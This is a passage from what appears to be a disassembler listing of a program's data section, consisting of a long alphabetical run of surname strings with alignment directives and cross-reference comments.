XREF: .data:0042E4F8o align 4 aJamil db 'Jamil',0 ; DATA XREF: .data:0042E4F4o align 10h aJain db 'Jain',0 ; DATA XREF: .data:0042E4F0o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: .data:0042E4ECo align 10h aJagger db 'Jagger',0 ; DATA XREF: .data:0042E4E8o align 4 aJagers db 'Jagers',0 ; DATA XREF: .data:0042E4E4o align 10h aJackson db 'Jackson',0 ; DATA XREF: .data:0042E4E0o aJacenko db 'Jacenko',0 ; DATA XREF: .data:0042E4DCo aIyer db 'Iyer',0 ; DATA XREF: .data:0042E4D8o align 4 aIsserman db 'Isserman',0 ; DATA XREF: .data:0042E4D4o align 4 aIsbill db 'Isbill',0 ; DATA XREF: .data:0042E4D0o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .data:0042E4CCo align 4 aIsaac db 'Isaac',0 ; DATA XREF: .data:0042E4C8o align 10h aInniss db 'Inniss',0 ; DATA XREF: .data:0042E4C4o align 4 aInamura db 'Inamura',0 ; DATA XREF: .data:0042E4C0o aIgarashi db 'Igarashi',0 ; DATA XREF: .data:0042E4BCo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:0042E4B8o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:0042E4B4o align 4 aHyde db 'Hyde',0 ; DATA XREF: .data:0042E4B0o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .data:0042E4ACo align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:0042E4A8o align 4 aHupp db 'Hupp',0 ; DATA XREF: .data:0042E4A4o align 4 aHuntington db 'Huntington',0 ; DATA XREF: .data:0042E4A0o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: .data:0042E49Co align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:0042E498o align 10h aHuey db 'Huey',0 ; DATA XREF: .data:0042E494o align 4 aHoy db 'Hoy',0 ; DATA XREF: .data:0042E490o aHoward db 'Howard',0 ; DATA XREF: .data:0042E48Co align 4 aHottle db 'Hottle',0 ; DATA XREF: .data:0042E488o align 4 aHostage db 'Hostage',0 ; DATA XREF: .data:0042E484o aHoshida db 'Hoshida',0 ; DATA XREF: .data:0042E480o aHorsley db 'Horsley',0 ; DATA XREF: .data:0042E47Co aHopkins db 'Hopkins',0 ; DATA XREF: .data:0042E478o aHooker db 'Hooker',0 ; DATA XREF: .data:0042E474o align 4 aHolzman db 'Holzman',0 ; DATA XREF: .data:0042E470o aHolway db 'Holway',0 ; DATA XREF: .data:0042E46Co align 4 aHolter db 'Holter',0 ; DATA XREF: .data:0042E468o align 4 aHoloien db 'Holoien',0 ; DATA XREF: .data:0042E464o aHolmes db 'Holmes',0 ; DATA XREF: .data:0042E460o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: .data:0042E45Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: .data:0042E458o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: .data:0042E454o aHoffer db 'Hoffer',0 ; DATA XREF: .data:0042E450o align 10h aHock db 'Hock',0 ; DATA XREF: .data:0042E44Co align 4 aHoang db 'Hoang',0 ; DATA XREF: .data:0042E448o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:0042E444o align 4 aHirst db 'Hirst',0 ; DATA XREF: .data:0042E440o align 4 aHind db 'Hind',0 ; DATA XREF: .data:0042E43Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:0042E438o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: .data:0042E434o align 10h aHeubert db 'Heubert',0 ; DATA XREF: .data:0042E430o aHester db 'Hester',0 ; DATA XREF: .data:0042E42Co align 10h aHerrera db 'Herrera',0 ; DATA XREF: .data:0042E428o aHernandez db 'Hernandez',0 ; DATA XREF: .data:0042E424o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: .data:0042E420o align 10h aHenery db 'Henery',0 ; DATA XREF: .data:0042E41Co align 4 aHemphill db 'Hemphill',0 ; DATA XREF: .data:0042E418o align 4 aHelprin db 'Helprin',0 ; DATA XREF: .data:0042E414o aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:0042E410o align 4 aHellman db 'Hellman',0 ; DATA XREF: .data:0042E40Co aHeiland db 'Heiland',0 ; DATA XREF: .data:0042E408o aHeft db 'Heft',0 ; DATA XREF: .data:0042E404o align 10h aHeermans db 'Heermans',0 ; DATA XREF: .data:0042E400o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:0042E3FCo align 4 aHaynes db 'Haynes',0 ; DATA XREF: .data:0042E3F8o align 10h aHayes db 'Hayes',0 ; DATA XREF: .data:0042E3F4o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: .data:0042E3F0o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: .data:0042E3ECo align 4 aHarwell db 'Harwell',0 ; DATA XREF: .data:0042E3E8o aHartnett db 'Hartnett',0 ; DATA XREF: .data:0042E3E4o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: .data:0042E3E0o align 4 aHartman db 'Hartman',0 ; DATA XREF: .data:0042E3DCo aHarrigan db 'Harrigan',0 ; DATA XREF: .data:0042E3D8o align 10h aHarlow db 'Harlow',0 ; DATA XREF: .data:0042E3D4o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: .data:0042E3D0o align 4 aHarding db 'Harding',0 ; DATA XREF: .data:0042E3CCo aHanssen db 'Hanssen',0 ; DATA XREF: .data:0042E3C8o aHand db 'Hand',0 ; DATA XREF: .data:0042E3C4o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: .data:0042E3C0o align 4 aHamer db 'Hamer',0 ; DATA XREF: .data:0042E3BCo align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:0042E3B8o align 10h aHalpert db 'Halpert',0 ; DATA XREF: .data:0042E3B4o aHallowell db 'Hallowell',0 ; DATA XREF: .data:0042E3B0o align 4 aHalkias db 'Halkias',0 ; DATA XREF: .data:0042E3ACo aHaley db 'Haley',0 ; DATA XREF: .data:0042E3A8o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:0042E3A4o align 10h aHackman db 'Hackman',0 ; DATA XREF: .data:0042E3A0o aHaar db 'Haar',0 ; DATA XREF: .data:0042E39Co align 10h aHa db 'Ha',0 ; DATA XREF: .data:0042E398o align 4 aGuo db 'Guo',0 ; DATA XREF: .data:0042E394o aGunn db 'Gunn',0 ; DATA XREF: .data:0042E390o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: .data:0042E38Co align 4 aGruppe db 'Gruppe',0 ; DATA XREF: .data:0042E388o align 4 aGruner db 'Gruner',0 ; DATA XREF: .data:0042E384o align 4 aGrummell db 'Grummell',0 ; DATA XREF: .data:0042E380o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:0042E37Co align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: .data:0042E378o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:0042E374o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: .data:0042E370o align 4 aGravell db 'Gravell',0 ; DATA XREF: .data:0042E36Co aGozzi db 'Gozzi',0 ; DATA XREF: .data:0042E368o align 4 aGoody db 'Goody',0 ; DATA XREF: .data:0042E364o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: .data:0042E360o align 4 aGood db 'Good',0 ; DATA XREF: .data:0042E35Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: .data:0042E358o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:0042E354o align 4 aGlendon db 'Glendon',0 ; DATA XREF: .data:0042E350o aGlegg db 'Glegg',0 ; DATA XREF: .data:0042E34Co align 4 aGleason db 'Gleason',0 ; DATA XREF: .data:0042E348o aGist db 'Gist',0 ; DATA XREF: .data:0042E344o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .data:0042E340o align 4 aGill db 'Gill',0 ; DATA XREF: .data:0042E33Co align 10h aGili db 'Gili',0 ; DATA XREF: .data:0042E338o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: .data:0042E334o aGibson db 'Gibson',0 ; DATA XREF: .data:0042E330o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: .data:0042E32Co aGhorai db 'Ghorai',0 ; DATA XREF: .data:0042E328o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: .data:0042E324o aGeorgi db 'Georgi',0 ; DATA XREF: .data:0042E320o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: .data:0042E31Co align 4 aGeller db 'Geller',0 ; DATA XREF: .data:0042E318o align 4 aGaronna db 'Garonna',0 ; DATA XREF: .data:0042E314o aGarman db 'Garman',0 ; DATA XREF: .data:0042E310o align 4 aGarfield db 'Garfield',0 ; DATA XREF: .data:0042E30Co align 4 aGambini db 'Gambini',0 ; DATA XREF: .data:0042E308o aGalwey db 'Galwey',0 ; DATA XREF: .data:0042E304o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: .data:0042E300o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:0042E2FCo align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:0042E2F8o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: .data:0042E2F4o align 4 aFurth db 'Furth',0 ; DATA XREF: .data:0042E2F0o align 4 aFuller db 'Fuller',0 ; DATA XREF: .data:0042E2ECo align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:0042E2E8o align 10h aFrye db 'Frye',0 ; DATA XREF: .data:0042E2E4o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: .data:0042E2E0o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: .data:0042E2DCo aFrisken db 'Frisken',0 ; DATA XREF: .data:0042E2D8o aFriedland db 'Friedland',0 ; DATA XREF: .data:0042E2D4o align 10h aFried db 'Fried',0 ; DATA XREF: .data:0042E2D0o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: .data:0042E2CCo align 4 aFreid db 'Freid',0 ; DATA XREF: .data:0042E2C8o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:0042E2C4o align 4 aFranz db 'Franz',0 ; DATA XREF: .data:0042E2C0o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:0042E2BCo align 4 aFrancisco db 'Francisco',0 ; DATA XREF: .data:0042E2B8o align 10h aFossi db 'Fossi',0 ; DATA XREF: .data:0042E2B4o align 4 aFossey db 'Fossey',0 ; DATA XREF: .data:0042E2B0o align 10h aFortier db 'Fortier',0 ; DATA XREF: .data:0042E2ACo aFortes db 'Fortes',0 ; DATA XREF: .data:0042E2A8o align 10h aForester db 'Forester',0 ; DATA XREF: .data:0042E2A4o align 4 aFolks db 'Folks',0 ; DATA XREF: .data:0042E2A0o align 4 aFlores db 'Flores',0 ; DATA XREF: .data:0042E29Co align 4 aFlier db 'Flier',0 ; DATA XREF: .data:0042E298o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:0042E294o aFisk db 'Fisk',0 ; DATA XREF: .data:0042E290o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: .data:0042E28Co aFinnegan db 'Finnegan',0 ; DATA XREF: .data:0042E288o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:0042E284o aFink db 'Fink',0 ; DATA XREF: .data:0042E280o align 10h aField db 'Field',0 ; DATA XREF: .data:0042E27Co align 4 aFido db 'Fido',0 ; DATA XREF: .data:0042E278o align 10h aFeuer db 'Feuer',0 ; DATA XREF: .data:0042E274o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: .data:0042E270o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: .data:0042E26Co align 10h aFernandes db 'Fernandes',0 ; DATA XREF: .data:0042E268o align 4 aFernald db 'Fernald',0 ; DATA XREF: .data:0042E264o aFeldman db 'Feldman',0 ; DATA XREF: .data:0042E260o aFejzo db 'Fejzo',0 ; DATA XREF: .data:0042E25Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:0042E258o align 10h aFates db 'Fates',0 ; DATA XREF: .data:0042E254o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: .data:0042E250o align 10h aFarren db 'Farren',0 ; DATA XREF: .data:0042E24Co align 4 aFarone db 'Farone',0 ; DATA XREF: .data:0042E248o align 10h aFaris db 'Faris',0 ; DATA XREF: .data:0042E244o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: .data:0042E240o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:0042E23Co align 10h aFaioes db 'Faioes',0 ; DATA XREF: .data:0042E238o align 4 aFagan db 'Fagan',0 ; DATA XREF: .data:0042E234o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: .data:0042E230o aEverett db 'Everett',0 ; DATA XREF: .data:0042E22Co aEuripides db 'Euripides',0 ; DATA XREF: .data:0042E228o align 4 aEtter db 'Etter',0 ; DATA XREF: .data:0042E224o align 4 aEstes db 'Estes',0 ; DATA XREF: .data:0042E220o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .data:0042E21Co align 4 aErez db 'Erez',0 ; DATA XREF: .data:0042E218o align 10h aErdos db 'Erdos',0 ; DATA XREF: .data:0042E214o align 4 aErdman db 'Erdman',0 ; DATA XREF: .data:0042E210o align 10h aErbach db 'Erbach',0 ; DATA XREF: .data:0042E20Co align 4 aEppling db 'Eppling',0 ; DATA XREF: .data:0042E208o aEnyeart db 'Enyeart',0 ; DATA XREF: .data:0042E204o aEncinas db 'Encinas',0 ; DATA XREF: .data:0042E200o aElvis db 'Elvis',0 ; DATA XREF: .data:0042E1FCo align 4 aElmerick db 'Elmerick',0 ; DATA XREF: .data:0042E1F8o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:0042E1F4o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: .data:0042E1F0o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:0042E1ECo aEdward db 'Edward',0 ; DATA XREF: .data:0042E1E8o align 10h aEdner db 'Edner',0 ; DATA XREF: .data:0042E1E4o align 4 aEdley db 'Edley',0 ; DATA XREF: .data:0042E1E0o align 10h aEckel db 'Eckel',0 ; DATA XREF: .data:0042E1DCo align 4 aEbeling db 'Ebeling',0 ; DATA XREF: .data:0042E1D8o aEardley db 'Eardley',0 ; DATA XREF: .data:0042E1D4o aDwyer db 'Dwyer',0 ; DATA XREF: .data:0042E1D0o align 10h aDussault db 'Dussault',0 ; DATA XREF: .data:0042E1CCo align 4 aDurrett db 'Durrett',0 ; DATA XREF: .data:0042E1C8o aDuffin db 'Duffin',0 ; DATA XREF: .data:0042E1C4o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:0042E1C0o aDrinker db 'Drinker',0 ; DATA XREF: .data:0042E1BCo aDowsland db 'Dowsland',0 ; DATA XREF: .data:0042E1B8o align 4 aDoug db 'Doug',0 ; DATA XREF: .data:0042E1B4o align 10h aDoty db 'Doty',0 ; DATA XREF: .data:0042E1B0o align 4 aDosi db 'Dosi',0 ; DATA XREF: .data:0042E1ACo align 10h aDorf db 'Dorf',0 ; DATA XREF: .data:0042E1A8o align 4 aDore db 'Dore',0 ; DATA XREF: .data:0042E1A4o align 10h aDoonan db 'Doonan',0 ; DATA XREF: .data:0042E1A0o align 4 aDonner db 'Donner',0 ; DATA XREF: .data:0042E19Co align 10h aDonahue db 'Donahue',0 ; DATA XREF: .data:0042E198o aDoherty db 'Doherty',0 ; DATA XREF: .data:0042E194o aDockery db 'Dockery',0 ; DATA XREF: .data:0042E190o aDirksen db 'Dirksen',0 ; DATA XREF: .data:0042E18Co aDionysius db 'Dionysius',0 ; DATA XREF: .data:0042E188o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .data:0042E184o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: .data:0042E180o align 4 aDifabio db 'Difabio',0 ; DATA XREF: .data:0042E17Co aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:0042E178o align 4 aDicks db 'Dicks',0 ; DATA XREF: .data:0042E174o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:0042E170o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0042E16Co aDesombre db 'Desombre',0 ; DATA XREF: .data:0042E168o align 4 aDenison db 'Denison',0 ; DATA XREF: .data:0042E164o aDenham db 'Denham',0 ; DATA XREF: .data:0042E160o align 4 aDenault db 'Denault',0 ; DATA XREF: .data:0042E15Co aDemusz db 'Demusz',0 ; DATA XREF: .data:0042E158o align 4 aDempster db 'Dempster',0 ; DATA XREF: .data:0042E154o align 4 aDeming db 'Deming',0 ; DATA XREF: .data:0042E150o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0042E14Co align 4 aDelger db 'Delger',0 ; DATA XREF: .data:0042E148o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0042E144o align 4 aDelattre db 'Delattre',0 ; DATA XREF: .data:0042E140o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0042E13Co align 4 aDees db 'Dees',0 ; DATA XREF: .data:0042E138o align 4 aDebroff db 'Debroff',0 ; DATA XREF: .data:0042E134o aDerousse db 'deRousse',0 ; DATA XREF: .data:0042E130o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0042E12Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: .data:0042E128o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:0042E124o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .data:0042E120o aDavid db 'David',0 ; DATA XREF: .data:0042E11Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .data:0042E118o aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:0042E114o align 10h aDas db 'Das',0 ; DATA XREF: .data:0042E110o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0042E10Co aDapice db 'Dapice',0 ; DATA XREF: .data:0042E108o align 4 aDante db 'Dante',0 ; DATA XREF: .data:0042E104o align 10h aDanieli db 'Danieli',0 ; DATA XREF: .data:0042E100o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:0042E0FCo aDaly db 'Daly',0 ; DATA XREF: .data:0042E0F8o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: .data:0042E0F4o align 4 aDasilva db 'daSilva',0 ; DATA XREF: .data:0042E0F0o aCyders db 'Cyders',0 ; DATA XREF: .data:0042E0ECo align 4 aCvek db 'Cvek',0 ; DATA XREF: .data:0042E0E8o align 4 aCutler db 'Cutler',0 ; DATA XREF: .data:0042E0E4o align 4 aCurrier db 'Currier',0 ; DATA XREF: .data:0042E0E0o aCui db 'Cui',0 ; DATA XREF: .data:0042E0DCo aCroxton db 'Croxton',0 ; DATA XREF: .data:0042E0D8o aCroxen db 'Croxen',0 ; DATA XREF: .data:0042E0D4o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: .data:0042E0D0o aCrocker db 'Crocker',0 ; DATA XREF: .data:0042E0CCo aCrawford db 'Crawford',0 ; DATA XREF: .data:0042E0C8o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0042E0C4o aCounter db 'Counter',0 ; DATA XREF: .data:0042E0C0o aCosmides db 'Cosmides',0 ; DATA XREF: .data:0042E0BCo align 4 aCornish db 'Cornish',0 ; DATA XREF: .data:0042E0B8o aCorey db 'Corey',0 ; DATA XREF: .data:0042E0B4o align 4 aConnors db 'Connors',0 ; DATA XREF: .data:0042E0B0o aCondodina db 'Condodina',0 ; DATA XREF: .data:0042E0ACo align 4 aConcino db 'Concino',0 ; DATA XREF: .data:0042E0A8o aComstock db 'Comstock',0 ; DATA XREF: .data:0042E0A4o align 10h aCompton db 'Compton',0 ; DATA XREF: .data:0042E09Co ; .data:0042E0A0o aCollis db 'Collis',0 ; DATA XREF: .data:0042E098o align 10h aCollard db 'Collard',0 ; DATA XREF: .data:0042E094o aColella db 'Colella',0 ; DATA XREF: .data:0042E090o aColdren db 'Coldren',0 ; DATA XREF: .data:0042E08Co aCoito db 'Coito',0 ; DATA XREF: .data:0042E088o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0042E084o aClow db 'Clow',0 ; DATA XREF: .data:0042E080o align 10h aClifton db 'Clifton',0 ; DATA XREF: .data:0042E07Co aClement db 'Clement',0 ; DATA XREF: .data:0042E078o aClark db 'Clark',0 ; DATA XREF: .data:0042E074o align 4 aClancy db 'Clancy',0 ; DATA XREF: .data:0042E070o align 10h aClaffey db 'Claffey',0 ; DATA XREF: .data:0042E06Co aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:0042E068o align 4 aCicero db 'Cicero',0 ; DATA XREF: .data:0042E064o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:0042E060o align 4 aChurch db 'Church',0 ; DATA XREF: .data:0042E05Co align 10h aChupasko db 'Chupasko',0 ; DATA XREF: .data:0042E058o align 4 aChu db 'Chu',0 ; DATA XREF: .data:0042E054o aChristopher db 'Christopher',0 ; DATA XREF: .data:0042E050o aChristie db 'Christie',0 ; DATA XREF: .data:0042E04Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: .data:0042E048o align 4 aChristian db 'Christian',0 ; DATA XREF: .data:0042E044o align 10h aChristenson db 'Christenson',0 ; DATA XREF: .data:0042E040o aChinman db 'Chinman',0 ; DATA XREF: .data:0042E03Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:0042E038o aChilds db 'Childs',0 ; DATA XREF: .data:0042E034o align 4 aChildress db 'Childress',0 ; DATA XREF: .data:0042E030o align 4 aChien db 'Chien',0 ; DATA XREF: .data:0042E02Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .data:0042E028o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:0042E024o align 4 aCherry db 'Cherry',0 ; DATA XREF: .data:0042E020o align 4 aCheang db 'Cheang',0 ; DATA XREF: .data:0042E01Co align 4 aCharles db 'Charles',0 ; DATA XREF: .data:0042E018o aChapman db 'Chapman',0 ; DATA XREF: .data:0042E014o aCerioli db 'Cerioli',0 ; DATA XREF: .data:0042E010o aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:0042E00Co align 4 aCavell db 'Cavell',0 ; DATA XREF: .data:0042E008o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:0042E004o align 4 aCastelda db 'Castelda',0 ; DATA XREF: .data:0042E000o align 4 aCaspar db 'Caspar',0 ; DATA XREF: .data:0042DFFCo align 10h aCase db 'Case',0 ; DATA XREF: .data:0042DFF8o align 4 aCascio db 'Cascio',0 ; DATA XREF: .data:0042DFF4o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: .data:0042DFF0o align 4 aCarper db 'Carper',0 ; DATA XREF: .data:0042DFECo align 4 aCaroti db 'Caroti',0 ; DATA XREF: .data:0042DFE8o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: .data:0042DFE4o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .data:0042DFE0o aCarlos db 'Carlos',0 ; DATA XREF: .data:0042DFDCo align 4 aCarlin db 'Carlin',0 ; DATA XREF: .data:0042DFD8o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0042DFD4o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:0042DFD0o aCapursi db 'Capursi',0 ; DATA XREF: .data:0042DFCCo aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:0042DFC8o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0042DFC4o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:0042DFC0o align 4 aCaperton db 'Caperton',0 ; DATA XREF: .data:0042DFBCo align 4 aCapanni db 'Capanni',0 ; DATA XREF: .data:0042DFB8o aCanley db 'Canley',0 ; DATA XREF: .data:0042DFB4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:0042DFB0o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: .data:0042DFACo align 4 aCalnan db 'Calnan',0 ; DATA XREF: .data:0042DFA8o align 4 aCage db 'Cage',0 ; DATA XREF: .data:0042DFA4o align 4 aByrd db 'Byrd',0 ; DATA XREF: .data:0042DFA0o align 4 aByerly db 'Byerly',0 ; DATA XREF: .data:0042DF9Co align 4 aByatt db 'Byatt',0 ; DATA XREF: .data:0042DF98o align 4 aBusetta db 'Busetta',0 ; DATA XREF: .data:0042DF94o aBurridge db 'Burridge',0 ; DATA XREF: .data:0042DF90o align 4 aBurke db 'Burke',0 ; DATA XREF: .data:0042DF8Co align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: .data:0042DF88o align 4 aBurden db 'Burden',0 ; DATA XREF: .data:0042DF84o align 10h aBunton db 'Bunton',0 ; DATA XREF: .data:0042DF80o align 4 aBullard db 'Bullard',0 ; DATA XREF: .data:0042DF7Co aBudding db 'Budding',0 ; DATA XREF: .data:0042DF78o aBuchan db 'Buchan',0 ; DATA XREF: .data:0042DF74o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: .data:0042DF70o aBrook db 'Brook',0 ; DATA XREF: .data:0042DF6Co align 10h aBroca db 'Broca',0 ; DATA XREF: .data:0042DF68o align 4 aBritz db 'Britz',0 ; DATA XREF: .data:0042DF64o align 10h aBrinton db 'Brinton',0 ; DATA XREF: .data:0042DF60o aBridges db 'Bridges',0 ; DATA XREF: .data:0042DF5Co aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:0042DF58o align 4 aBrewer db 'Brewer',0 ; DATA XREF: .data:0042DF50o ; .data:0042DF54o align 4 aBrennan db 'Brennan',0 ; DATA XREF: .data:0042DF4Co aBrenan db 'Brenan',0 ; DATA XREF: .data:0042DF48o align 4 aBreed db 'Breed',0 ; DATA XREF: .data:0042DF44o align 4 aBrecht db 'Brecht',0 ; DATA XREF: .data:0042DF40o align 4 aBradach db 'Bradach',0 ; DATA XREF: .data:0042DF3Co aBradac db 'Bradac',0 ; DATA XREF: .data:0042DF38o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: .data:0042DF34o align 10h aBoyne db 'Boyne',0 ; DATA XREF: .data:0042DF30o align 4 aBoym db 'Boym',0 ; DATA XREF: .data:0042DF2Co align 10h aBoyland db 'Boyland',0 ; DATA XREF: .data:0042DF28o aBoyes db 'Boyes',0 ; DATA XREF: .data:0042DF24o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: .data:0042DF20o align 4 aBoxer db 'Boxer',0 ; DATA XREF: .data:0042DF1Co align 4 aBowers db 'Bowers',0 ; DATA XREF: .data:0042DF18o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:0042DF14o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: .data:0042DF10o aBoudin db 'Boudin',0 ; DATA XREF: .data:0042DF0Co align 4 aBotosh db 'Botosh',0 ; DATA XREF: .data:0042DF08o align 10h aBothman db 'Bothman',0 ; DATA XREF: .data:0042DF04o aBossi db 'Bossi',0 ; DATA XREF: .data:0042DF00o align 10h aBorden db 'Borden',0 ; DATA XREF: .data:0042DEFCo align 4 aBorack db 'Borack',0 ; DATA XREF: .data:0042DEF8o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: .data:0042DEF4o align 4 aBoone db 'Boone',0 ; DATA XREF: .data:0042DEF0o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:0042DEECo align 10h aBook db 'Book',0 ; DATA XREF: .data:0042DEE8o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: .data:0042DEE4o align 4 aBoniface db 'Boniface',0 ; DATA XREF: .data:0042DEE0o align 10h aBonham db 'Bonham',0 ; DATA XREF: .data:0042DEDCo align 4 aBoner db 'Boner',0 ; DATA XREF: .data:0042DED8o align 10h aBologna db 'Bologna',0 ; DATA XREF: .data:0042DED4o aBollinger db 'Bollinger',0 ; DATA XREF: .data:0042DED0o align 4 aBolick db 'Bolick',0 ; DATA XREF: .data:0042DECCo align 4 aBolger db 'Bolger',0 ; DATA XREF: .data:0042DEC8o align 4 aBlyth db 'Blyth',0 ; DATA XREF: .data:0042DEC4o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .data:0042DEC0o aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:0042DEBCo align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:0042DEB8o aBloch db 'Bloch',0 ; DATA XREF: .data:0042DEB4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: .data:0042DEB0o aBliss db 'Bliss',0 ; DATA XREF: .data:0042DEACo align 4 aBlanke db 'Blanke',0 ; DATA XREF: .data:0042DEA8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0042DEA4o align 4 aBlagg db 'Blagg',0 ; DATA XREF: .data:0042DEA0o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0042DE9Co align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:0042DE98o align 4 aBisho db 'Bisho',0 ; DATA XREF: .data:0042DE94o align 10h aBisema db 'Bisema',0 ; DATA XREF: .data:0042DE90o align 4 aBir db 'Bir',0 ; DATA XREF: .data:0042DE8Co aBinion db 'Binion',0 ; DATA XREF: .data:0042DE88o align 4 aBickel db 'Bickel',0 ; DATA XREF: .data:0042DE84o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: .data:0042DE80o align 4 aBeynart db 'Beynart',0 ; DATA XREF: .data:0042DE7Co aBetti db 'Betti',0 ; DATA XREF: .data:0042DE78o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: 